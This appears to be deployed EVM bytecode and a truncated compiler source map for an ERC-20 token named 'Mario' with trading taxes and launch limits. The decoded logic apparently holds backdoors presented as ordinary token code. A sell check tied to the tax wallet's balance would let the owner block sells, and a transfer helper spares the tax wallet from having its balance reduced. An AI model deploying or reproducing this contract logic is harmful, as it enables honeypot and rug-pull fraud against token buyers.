0x6080604052600436106101235760003560e01c806378109e54116100a0578063a9059cbb11610064578063a9059cbb14610307578063bf474bed14610327578063c876d0b91461033d578063c9567bf914610357578063dd62ed3e1461036c57600080fd5b806378109e54146102935780637d1db4a5146102a95780638da5cb5b146102bf57806395d89b411461012f578063a457c2d7146102e757600080fd5b8063313ce567116100e7578063313ce567146101f5578063395093511461021157806370a0823114610231578063715018a614610267578063751039fc1461027e57600080fd5b806306fdde031461012f578063095ea7b31461016c5780630faee56f1461019c57806318160ddd146101c057806323b872dd146101d557600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260058152644d6172696f60d81b60208201529051610163919061164d565b60405180910390f35b34801561017857600080fd5b5061018c6101873660046116b3565b61038c565b6040519015158152602001610163565b3480156101a857600080fd5b506101b260125481565b604051908152602001610163565b3480156101cc57600080fd5b506101b26103a3565b3480156101e157600080fd5b5061018c6101f03660046116df565b6103c4565b34801561020157600080fd5b5060405160098152602001610163565b34801561021d57600080fd5b5061018c61022c3660046116b3565b61042e565b34801561023d57600080fd5b506101b261024c366004611720565b6001600160a01b031660009081526001602052604090205490565b34801561027357600080fd5b5061027c61044b565b005b34801561028a57600080fd5b5061027c6104c8565b34801561029f57600080fd5b506101b260105481565b3480156102b557600080fd5b506101b2600f5481565b3480156102cb57600080fd5b506000546040516001600160a01b039091168152602001610163565b3480156102f357600080fd5b5061018c6103023660046116b3565b610584565b34801561031357600080fd5b5061018c6103223660046116b3565b61060a565b34801561033357600080fd5b506101b260115481565b34801561034957600080fd5b5060065461018c9060ff1681565b34801561036357600080fd5b5061027c610617565b34801561037857600080fd5b506101b261038736600461173d565b6109d3565b60006103993384846109fe565b5060015b92915050565b60006103b16009600a611870565b6103bf90631908b10061187f565b905090565b60006103d1848484610b22565b610423843361041e85604051806060016040528060288152602001611a21602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611260565b6109fe565b5060015b9392505050565b60003361042381858561044183836109d3565b61041e9190611896565b6000546001600160a01b0316331461047e5760405162461bcd60e51b8152600401610475906118a9565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f25760405162461bcd60e51b8152600401610475906118a9565b6104fe6009600a611870565b61050c90631908b10061187f565b600f5561051b6009600a611870565b61052990631908b10061187f565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105636009600a611870565b61057190631908b10061187f565b60405190815260200160405180910390a1565b6000338161059282866109d3565b9050838110156105f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610475565b6105ff82868684036109fe565b506001949350505050565b6000610399338484610b22565b6000546001600160a01b031633146106415760405162461bcd60e51b8152600401610475906118a9565b601454600160a01b900460ff161561069b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610475565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106e49030906106d66009600a611870565b61041e90631908b10061187f565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610737573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075b91906118de565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e191906118de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561082e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085291906118de565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061089a816001600160a01b031660009081526001602052604090205490565b6000806108af6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610917573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093c91906118fb565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610995573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b99190611929565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6001600160a01b038316610a605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610475565b6001600160a01b038216610ac15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610475565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610475565b6001600160a01b038216610be85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610475565b60008111610c4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610475565b600080546001600160a01b03858116911614801590610c7757506000546001600160a01b03848116911614155b1561111b5760065460ff1615610d35576013546001600160a01b03848116911614801590610cb357506014546001600160a01b03848116911614155b15610d3557336000908152600560205260409020544311610d225760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610475565b3360009081526005602052604090204390555b6014546001600160a01b038581169116148015610d6057506013546001600160a01b03848116911614155b8015610d8557506001600160a01b03831660009081526003602052604090205460ff16155b15610ed557600f54821115610dd85760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610475565b60105482610dfb856001600160a01b031660009081526001602052604090205490565b610e059190611896565b1115610e535760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610475565b600d54600e541015610e6b57823b15610e6b57600080fd5b600e8054906000610e7b8361194b565b90915550506001600160a01b0383166000908152600460205260409020805460ff19166001179055600b54600e54610ed291606491610ecc9110610ec157600754610ec5565b6009545b859061129a565b9061131c565b90505b6014546001600160a01b038481169116148015610efb57506001600160a01b0384163014155b8015610f2057506001600160a01b03841660009081526003602052604090205460ff16155b1561103357600f548211158015610f57575060125460065461010090046001600160a01b0316600090815260016020526040902054105b610f9f5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610475565b610fc46064610ecc600c54600e5411610fba57600854610ec5565b600a54859061129a565b9050600d54600e54118015610ff157506001600160a01b03841660009081526004602052604090205460ff165b6110335760405162461bcd60e51b815260206004820152601360248201527229b2b63632b91034b9903737ba10313abcb2b960691b6044820152606401610475565b30600090815260016020526040902054601454600160a81b900460ff1615801561106a57506014546001600160a01b038581169116145b801561107f5750601454600160b01b900460ff165b801561108c575060115481115b801561109b5750600d54600e54115b80156110c057506001600160a01b03841660009081526003602052604090205460ff16155b80156110e557506001600160a01b03851660009081526003602052604090205460ff16155b1561111957611107611102846110fd8460125461135e565b61135e565b611373565b4780156111175761111747611506565b505b505b8015611195573060009081526001602052604090205461113b9082611548565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061118c9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111ba908590846115a7565b6001600160a01b0385166000908152600160205260409020556111ff6111e083836115dd565b6001600160a01b03851660009081526001602052604090205490611548565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61124985856115dd565b60405190815260200160405180910390a350505050565b600081848411156112845760405162461bcd60e51b8152600401610475919061164d565b5060006112918486611964565b95945050505050565b6000826000036112ac5750600061039d565b60006112b8838561187f565b9050826112c58583611977565b146104275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610475565b600061042783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161f565b600081831161136d5782610427565b50919050565b6014805460ff60a81b1916600160a81b17905580156114f657601454600160a01b900460ff16156114f65760408051600280825260608201835260009260208301908036833701905050905030816000815181106113d3576113d3611999565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561142c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145091906118de565b8160018151811061146357611463611999565b6001600160a01b03928316602091820292909201015260135461148991309116846109fe565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c29085906000908690309042906004016119af565b600060405180830381600087803b1580156114dc57600080fd5b505af11580156114f0573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611544573d6000803e3d6000fd5b5050565b6000806115558385611896565b9050838110156104275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610475565b6006546000906001600160a01b036101009091048116908516036115cc575081610427565b6115d683836115dd565b9050610427565b600061042783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611260565b600081836116405760405162461bcd60e51b8152600401610475919061164d565b5060006112918486611977565b600060208083528351808285015260005b8181101561167a5785810183015185820160400152820161165e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116b057600080fd5b50565b600080604083850312156116c657600080fd5b82356116d18161169b565b946020939093013593505050565b6000806000606084860312156116f457600080fd5b83356116ff8161169b565b9250602084013561170f8161169b565b929592945050506040919091013590565b60006020828403121561173257600080fd5b81356104278161169b565b6000806040838503121561175057600080fd5b823561175b8161169b565b9150602083013561176b8161169b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117c75781600019048211156117ad576117ad611776565b808516156117ba57918102915b93841c9390800290611791565b509250929050565b6000826117de5750600161039d565b816117eb5750600061039d565b8160018114611801576002811461180b57611827565b600191505061039d565b60ff84111561181c5761181c611776565b50506001821b61039d565b5060208310610133831016604e8410600b841016171561184a575081810a61039d565b611854838361178c565b806000190482111561186857611868611776565b029392505050565b600061042760ff8416836117cf565b808202811582820484141761039d5761039d611776565b8082018082111561039d5761039d611776565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118f057600080fd5b81516104278161169b565b60008060006060848603121561191057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193b57600080fd5b8151801515811461042757600080fd5b60006001820161195d5761195d611776565b5060010190565b8181038181111561039d5761039d611776565b60008261199457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ff5784516001600160a01b0316835293830193918301916001016119da565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220094fbad3ebceb4be4d66326c64165adc2f83e12dda8cd37fadf6f278b436c5e364736f6c63430008120033

4438:9334:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6458:83;;;;;;;;;;-1:-1:-1;6528:5:0;;;;;;;;;;;-1:-1:-1;;;6528:5:0;;;;6458:83;;;;6528:5;6458:83;:::i;:::-;;;;;;;;7298:161;;;;;;;;;;-1:-1:-1;7298:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7298:161:0;1023:187:1;5665:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5665:52:0;1215:177:1;6735:102:0;;;;;;;;;;;;;:::i;7467:313::-;;;;;;;;;;-1:-1:-1;7467:313:0;;;;;:::i;:::-;;:::i;6644:83::-;;;;;;;;;;-1:-1:-1;6644:83:0;;5285:1;2000:36:1;;1988:2;1973:18;6644:83:0;1858:184:1;11823:238:0;;;;;;;;;;-1:-1:-1;11823:238:0;;;;;:::i;:::-;;:::i;6845:119::-;;;;;;;;;;-1:-1:-1;6845:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6938:18:0;6911:7;6938:18;;;:9;:18;;;;;;;6845:119;3519:148;;;;;;;;;;;;;:::i;:::-;;12513:218;;;;;;;;;;;;;:::i;5536:57::-;;;;;;;;;;;;;;;;5475:54;;;;;;;;;;;;;;;;3305:79;;;;;;;;;;-1:-1:-1;3343:7:0;3370:6;3305:79;;-1:-1:-1;;;;;3370:6:0;;;2445:51:1;;2433:2;2418:18;3305:79:0;2299:203:1;12069:436:0;;;;;;;;;;-1:-1:-1;12069:436:0;;;;;:::i;:::-;;:::i;6972:167::-;;;;;;;;;;-1:-1:-1;6972:167:0;;;;;:::i;:::-;;:::i;5600:58::-;;;;;;;;;;;;;;;;4834:40;;;;;;;;;;-1:-1:-1;4834:40:0;;;;;;;;13054:678;;;;;;;;;;;;;:::i;7147:143::-;;;;;;;;;;-1:-1:-1;7147:143:0;;;;;:::i;:::-;;:::i;7298:161::-;7373:4;7390:39;1140:10;7413:7;7422:6;7390:8;:39::i;:::-;-1:-1:-1;7447:4:0;7298:161;;;;;:::o;6735:102::-;6788:7;5347:13;5285:1;5347:2;:13;:::i;:::-;5335:25;;:9;:25;:::i;:::-;6808:21;;6735:102;:::o;7467:313::-;7565:4;7582:36;7592:6;7600:9;7611:6;7582:9;:36::i;:::-;7629:121;7638:6;1140:10;7660:89;7698:6;7660:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7660:19:0;;;;;;:11;:19;;;;;;;;1140:10;7660:33;;;;;;;;;;:37;:89::i;:::-;7629:8;:121::i;:::-;-1:-1:-1;7768:4:0;7467:313;;;;;;:::o;11823:238::-;11911:4;1140:10;11967:64;1140:10;11983:7;12020:10;11992:25;1140:10;11983:7;11992:9;:25::i;:::-;:38;;;;:::i;3519:148::-;3432:6;;-1:-1:-1;;;;;3432:6:0;1140:10;3432:22;3424:67;;;;-1:-1:-1;;;3424:67:0;;;;;;;:::i;:::-;;;;;;;;;3626:1:::1;3610:6:::0;;3589:40:::1;::::0;-1:-1:-1;;;;;3610:6:0;;::::1;::::0;3589:40:::1;::::0;3626:1;;3589:40:::1;3657:1;3640:19:::0;;-1:-1:-1;;;;;;3640:19:0::1;::::0;;3519:148::o;12513:218::-;3432:6;;-1:-1:-1;;;;;3432:6:0;1140:10;3432:22;3424:67;;;;-1:-1:-1;;;3424:67:0;;;;;;;:::i;:::-;5347:13:::1;5285:1;5347:2;:13;:::i;:::-;5335:25;::::0;:9:::1;:25;:::i;:::-;12566:12;:29:::0;5347:13:::1;5285:1;5347:2;:13;:::i;:::-;5335:25;::::0;:9:::1;:25;:::i;:::-;12606:15;:30:::0;12647:20:::1;:26:::0;;-1:-1:-1;;12647:26:0::1;::::0;;12689:34:::1;5347:13;5285:1;-1:-1:-1::0;5347:13:0::1;:::i;:::-;5335:25;::::0;:9:::1;:25;:::i;:::-;12689:34;::::0;1361:25:1;;;1349:2;1334:18;12689:34:0::1;;;;;;;12513:218::o:0;12069:436::-;12162:4;1140:10;12162:4;12245:25;1140:10;12262:7;12245:9;:25::i;:::-;12218:52;;12309:15;12289:16;:35;;12281:85;;;;-1:-1:-1;;;12281:85:0;;5281:2:1;12281:85:0;;;5263:21:1;5320:2;5300:18;;;5293:30;5359:34;5339:18;;;5332:62;-1:-1:-1;;;5410:18:1;;;5403:35;5455:19;;12281:85:0;5079:401:1;12281:85:0;12402:60;12411:5;12418:7;12446:15;12427:16;:34;12402:8;:60::i;:::-;-1:-1:-1;12493:4:0;;12069:436;-1:-1:-1;;;;12069:436:0:o;6972:167::-;7050:4;7067:42;1140:10;7091:9;7102:6;7067:9;:42::i;13054:678::-;3432:6;;-1:-1:-1;;;;;3432:6:0;1140:10;3432:22;3424:67;;;;-1:-1:-1;;;3424:67:0;;;;;;;:::i;:::-;13118:11:::1;::::0;-1:-1:-1;;;13118:11:0;::::1;;;13117:12;13109:47;;;::::0;-1:-1:-1;;;13109:47:0;;5687:2:1;13109:47:0::1;::::0;::::1;5669:21:1::0;5726:2;5706:18;;;5699:30;5765:25;5745:18;;;5738:53;5808:18;;13109:47:0::1;5485:347:1::0;13109:47:0::1;13167:15;:80:::0;;-1:-1:-1;;;;;;13167:80:0::1;13204:42;13167:80:::0;;::::1;::::0;;;13258:65:::1;::::0;13275:4:::1;::::0;5347:13:::1;5285:1;5347:2;:13;:::i;:::-;5335:25;::::0;:9:::1;:25;:::i;13258:65::-;13368:15;;;;;;;;;-1:-1:-1::0;;;;;13368:15:0::1;-1:-1:-1::0;;;;;13368:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13350:55:0::1;;13414:4;13421:15;;;;;;;;;-1:-1:-1::0;;;;;13421:15:0::1;-1:-1:-1::0;;;;;13421:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13350:94;::::0;-1:-1:-1;;;;;;13350:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6323:15:1;;;13350:94:0::1;::::0;::::1;6305:34:1::0;6375:15;;6355:18;;;6348:43;6240:18;;13350:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13334:13;:110:::0;;-1:-1:-1;;;;;13334:110:0;;::::1;-1:-1:-1::0;;;;;;13334:110:0;;::::1;;::::0;;13455:15:::1;::::0;::::1;:31;13494:21;13525:4;13531:24;13525:4:::0;-1:-1:-1;;;;;6938:18:0;6911:7;6938:18;;;:9;:18;;;;;;;6845:119;13531:24:::1;13556:1;13558::::0;13560:7:::1;3343::::0;3370:6;-1:-1:-1;;;;;3370:6:0;;3305:79;13560:7:::1;13455:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13455:129:0;;;-1:-1:-1;;;;;6761:15:1;;;13455:129:0::1;::::0;::::1;6743:34:1::0;6793:18;;;6786:34;;;;6836:18;;;6829:34;;;;6879:18;;;6872:34;6943:15;;;6922:19;;;6915:44;13568:15:0::1;6975:19:1::0;;;6968:35;6677:19;;13455:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13602:13:0::1;::::0;13633:15:::1;::::0;13595:71:::1;::::0;-1:-1:-1;;;13595:71:0;;-1:-1:-1;;;;;13633:15:0;;::::1;13595:71;::::0;::::1;7499:51:1::0;-1:-1:-1;;7566:18:1;;;7559:34;13602:13:0;::::1;::::0;-1:-1:-1;13595:29:0::1;::::0;7472:18:1;;13595:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13677:11:0::1;:18:::0;;-1:-1:-1;;;;13706:18:0;-1:-1:-1;;;13706:18:0;;;13054:678::o;7147:143::-;-1:-1:-1;;;;;7255:18:0;;;7228:7;7255:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7147:143::o;7788:335::-;-1:-1:-1;;;;;7881:19:0;;7873:68;;;;-1:-1:-1;;;7873:68:0;;8088:2:1;7873:68:0;;;8070:21:1;8127:2;8107:18;;;8100:30;8166:34;8146:18;;;8139:62;-1:-1:-1;;;8217:18:1;;;8210:34;8261:19;;7873:68:0;7886:400:1;7873:68:0;-1:-1:-1;;;;;7960:21:0;;7952:68;;;;-1:-1:-1;;;7952:68:0;;8493:2:1;7952:68:0;;;8475:21:1;8532:2;8512:18;;;8505:30;8571:34;8551:18;;;8544:62;-1:-1:-1;;;8622:18:1;;;8615:32;8664:19;;7952:68:0;8291:398:1;7952:68:0;-1:-1:-1;;;;;8031:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8083:32;;1361:25:1;;;8083:32:0;;1334:18:1;8083:32:0;;;;;;;7788:335;;;:::o;8131:2796::-;-1:-1:-1;;;;;8219:18:0;;8211:68;;;;-1:-1:-1;;;8211:68:0;;8896:2:1;8211:68:0;;;8878:21:1;8935:2;8915:18;;;8908:30;8974:34;8954:18;;;8947:62;-1:-1:-1;;;9025:18:1;;;9018:35;9070:19;;8211:68:0;8694:401:1;8211:68:0;-1:-1:-1;;;;;8298:16:0;;8290:64;;;;-1:-1:-1;;;8290:64:0;;9302:2:1;8290:64:0;;;9284:21:1;9341:2;9321:18;;;9314:30;9380:34;9360:18;;;9353:62;-1:-1:-1;;;9431:18:1;;;9424:33;9474:19;;8290:64:0;9100:399:1;8290:64:0;8382:1;8373:6;:10;8365:64;;;;-1:-1:-1;;;8365:64:0;;9706:2:1;8365:64:0;;;9688:21:1;9745:2;9725:18;;;9718:30;9784:34;9764:18;;;9757:62;-1:-1:-1;;;9835:18:1;;;9828:39;9884:19;;8365:64:0;9504:405:1;8365:64:0;8440:17;3370:6;;-1:-1:-1;;;;;8474:15:0;;;3370:6;;8474:15;;;;:32;;-1:-1:-1;3343:7:0;3370:6;-1:-1:-1;;;;;8493:13:0;;;3370:6;;8493:13;;8474:32;8470:2094;;;8529:20;;;;8525:348;;;8588:15;;-1:-1:-1;;;;;8574:30:0;;;8588:15;;8574:30;;;;:62;;-1:-1:-1;8622:13:0;;-1:-1:-1;;;;;8608:28:0;;;8622:13;;8608:28;;8574:62;8570:288;;;8696:10;8667:40;;;;:28;:40;;;;;;8710:12;-1:-1:-1;8659:103:0;;;;-1:-1:-1;;;8659:103:0;;10116:2:1;8659:103:0;;;10098:21:1;10155:2;10135:18;;;10128:30;10194:34;10174:18;;;10167:62;-1:-1:-1;;;10245:18:1;;;10238:34;10289:19;;8659:103:0;9914:400:1;8659:103:0;8812:10;8783:40;;;;:28;:40;;;;;8826:12;8783:55;;8570:288;8901:13;;-1:-1:-1;;;;;8893:21:0;;;8901:13;;8893:21;:55;;;;-1:-1:-1;8932:15:0;;-1:-1:-1;;;;;8918:30:0;;;8932:15;;8918:30;;8893:55;:82;;;;-1:-1:-1;;;;;;8953:22:0;;;;;;:18;:22;;;;;;;;8952:23;8893:82;8889:559;;;9015:12;;9005:6;:22;;8997:60;;;;-1:-1:-1;;;8997:60:0;;10521:2:1;8997:60:0;;;10503:21:1;10560:2;10540:18;;;10533:30;-1:-1:-1;;;10579:18:1;;;10572:55;10644:18;;8997:60:0;10319:349:1;8997:60:0;9110:15;;9100:6;9084:13;9094:2;-1:-1:-1;;;;;6938:18:0;6911:7;6938:18;;;:9;:18;;;;;;;6845:119;9084:13;:22;;;;:::i;:::-;:41;;9076:80;;;;-1:-1:-1;;;9076:80:0;;10875:2:1;9076:80:0;;;10857:21:1;10914:2;10894:18;;;10887:30;10953:28;10933:18;;;10926:56;10999:18;;9076:80:0;10673:350:1;9076:80:0;9188:18;;9178:9;;:28;9175:97;;;12870:20;;12918:8;9228:24;;;;;;9290:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;9303:17:0;;;;;;:13;:17;;;;;:22;;-1:-1:-1;;9303:22:0;9321:4;9303:22;;;9378:15;;9368:9;;9356:76;;9428:3;;9356:67;;-1:-1:-1;9367:55:0;;9408:14;;9367:55;;;9395:12;;9367:55;9356:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9344:88;;8889:559;9473:13;;-1:-1:-1;;;;;9467:19:0;;;9473:13;;9467:19;:43;;;;-1:-1:-1;;;;;;9490:20:0;;9505:4;9490:20;;9467:43;:72;;;;-1:-1:-1;;;;;;9515:24:0;;;;;;:18;:24;;;;;;;;9514:25;9467:72;9464:432;;;9578:12;;9568:6;:22;;:71;;;;-1:-1:-1;9628:11:0;;9604:22;;;;;-1:-1:-1;;;;;9604:22:0;6911:7;6938:18;;;:9;:18;;;;;;9594:45;9568:71;9560:109;;;;-1:-1:-1;;;9560:109:0;;10521:2:1;9560:109:0;;;10503:21:1;10560:2;10540:18;;;10533:30;-1:-1:-1;;;10579:18:1;;;10572:55;10644:18;;9560:109:0;10319:349:1;9560:109:0;9700:79;9775:3;9700:70;9722:16;;9712:9;;:26;9711:58;;9754:15;;9711:58;;;9740:13;;9700:6;;:10;:70::i;:79::-;9688:91;;9816:18;;9806:9;;:28;:51;;;;-1:-1:-1;;;;;;9838:19:0;;;;;;:13;:19;;;;;;;;9806:51;9798:82;;;;-1:-1:-1;;;9798:82:0;;11370:2:1;9798:82:0;;;11352:21:1;11409:2;11389:18;;;11382:30;-1:-1:-1;;;11428:18:1;;;11421:49;11487:18;;9798:82:0;11168:343:1;9798:82:0;9961:4;9912:28;6938:18;;;:9;:18;;;;;;9987:6;;-1:-1:-1;;;9987:6:0;;;;9986:7;:44;;;;-1:-1:-1;10017:13:0;;-1:-1:-1;;;;;10011:19:0;;;10017:13;;10011:19;9986:44;:73;;;;-1:-1:-1;10048:11:0;;-1:-1:-1;;;10048:11:0;;;;9986:73;:129;;;;;10098:17;;10077:20;:38;9986:129;:175;;;;;10143:18;;10133:9;;:28;9986:175;:215;;;;-1:-1:-1;;;;;;10179:22:0;;;;;;:18;:22;;;;;;;;10178:23;9986:215;:257;;;;-1:-1:-1;;;;;;10219:24:0;;;;;;:18;:24;;;;;;;;10218:25;9986:257;9982:571;;;10278:67;10295:49;10299:6;10306:37;10310:20;10331:11;;10306:3;:37::i;:::-;10295:3;:49::i;:::-;10278:16;:67::i;:::-;10393:21;10436:22;;10433:105;;10483:35;10496:21;10483:12;:35::i;:::-;10259:294;9982:571;8508:2056;8470:2094;10579:11;;10576:161;;10647:4;10629:24;;;;:9;:24;;;;;;:39;;10658:9;10629:28;:39::i;:::-;10622:4;10604:24;;;;:9;:24;;;;;;;:64;;;;10686:39;;-1:-1:-1;;;;;10686:39:0;;;;;;;10715:9;1361:25:1;;1349:2;1334:18;;1215:177;10686:39:0;;;;;;;;10576:161;-1:-1:-1;;;;;10773:15:0;;;;;;:9;:15;;;;;;10763:34;;10767:4;;10790:6;10763:3;:34::i;:::-;-1:-1:-1;;;;;10747:15:0;;;;;;:9;:15;;;;;:50;10822:40;10840:21;:6;10851:9;10840:10;:21::i;:::-;-1:-1:-1;;;;;10822:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10808:13:0;;;;;;;:9;:13;;;;;:54;;;;10878:41;;;10897:21;:6;10908:9;10897:10;:21::i;:::-;10878:41;;1361:25:1;;;1349:2;1334:18;10878:41:0;;;;;;;8200:2727;8131:2796;;;:::o;2197:190::-;2283:7;2319:12;2311:6;;;;2303:29;;;;-1:-1:-1;;;2303:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2343:9:0;2355:5;2359:1;2355;:5;:::i;:::-;2343:17;2197:190;-1:-1:-1;;;;;2197:190:0:o;2395:246::-;2453:7;2477:1;2482;2477:6;2473:47;;-1:-1:-1;2507:1:0;2500:8;;2473:47;2530:9;2542:5;2546:1;2542;:5;:::i;:::-;2530:17;-1:-1:-1;2575:1:0;2566:5;2570:1;2530:17;2566:5;:::i;:::-;:10;2558:56;;;;-1:-1:-1;;;2558:56:0;;12073:2:1;2558:56:0;;;12055:21:1;12112:2;12092:18;;;12085:30;12151:34;12131:18;;;12124:62;-1:-1:-1;;;12202:18:1;;;12195:31;12243:19;;2558:56:0;11871:397:1;2649:132:0;2707:7;2734:39;2738:1;2741;2734:39;;;;;;;;;;;;;;;;;:3;:39::i;11498:98::-;11555:7;11582:1;11580;:3;11579:9;;11587:1;11579:9;;;-1:-1:-1;11585:1:0;11498:98;-1:-1:-1;11498:98:0:o;10935:555::-;5999:6;:13;;-1:-1:-1;;;;5999:13:0;-1:-1:-1;;;5999:13:0;;;11013:27;;11032:7:::1;11013:27;11054:11;::::0;-1:-1:-1;;;11054:11:0;::::1;;;11050:25:::0;11067:7:::1;11050:25;11109:16;::::0;;11123:1:::1;11109:16:::0;;;;;::::1;::::0;;11085:21:::1;::::0;11109:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11109:16:0::1;11085:40;;11154:4;11136;11141:1;11136:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11136:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11180:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11180:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11136:7;;11180:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11170:4;11175:1;11170:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11170:32:0;;::::1;:7;::::0;;::::1;::::0